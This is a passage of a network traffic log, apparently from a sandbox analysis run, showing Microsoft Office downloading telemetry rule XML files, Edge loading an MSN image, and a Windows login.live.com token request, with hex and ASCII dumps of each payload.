2024-11-16 18:22:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 3592d30c-801e-0048-183e-38f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182238Z-164f84587bf5rpzqhC1DFWmra8000000032g00000000pcgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182238Z-16547b76f7fht2hfhC1DFWbngg00000003kg000000008twr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 49c589c9-b01e-003e-567a-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-164f84587bftbpb6hC1DFWm4kg00000001v000000000m20h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 78f9d12a-601e-0070-27c4-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-1866b5c5fbblmztchC1DFWs6v400000001u0000000001zgd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49911	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:39 UTC	546	IN	HTTP/1.1 200 OK Last-Modified: Wed, 30 Oct 2024 03:19:01 GMT Access-Control-Allow-Origin: * X-Datacenter: westus X-ActivityId: 2833025f-5808-402a-9d36-83e5a63a6a15 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=75515 Expires: Sun, 17 Nov 2024 15:21:14 GMT Date: Sat, 16 Nov 2024 18:22:39 GMT Connection: close
2024-11-16 18:22:39 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-16547b76f7fffb7lhC1DFWdsxg00000003bg00000000844w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 31833cf5-a01e-0070-33a3-34573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-164f84587bf6h2bxhC1DFWbcm8000000037g00000000qtv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 919dae56-201e-0096-657a-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-164f84587bfjxw6fhC1DFWq94400000003a0000000009q14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182239Z-1866b5c5fbb2ngs6hC1DFW402w00000001g0000000000s79 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49912	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-16 18:22:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 18:22:40 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 18:21:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C545_SN1 x-ms-request-id: 64b776e5-d5cc-483c-88ca-6cd6b23d2fc8 PPServer: PPV: 30 H: SN1PEPF0003FB40 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 18:22:39 GMT Connection: close Content-Length: 11392
2024-11-16 18:22:40 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182240Z-164f84587bfghdt4hC1DFWu5nn00000002v000000000rcmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49916	23.38.189.114	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
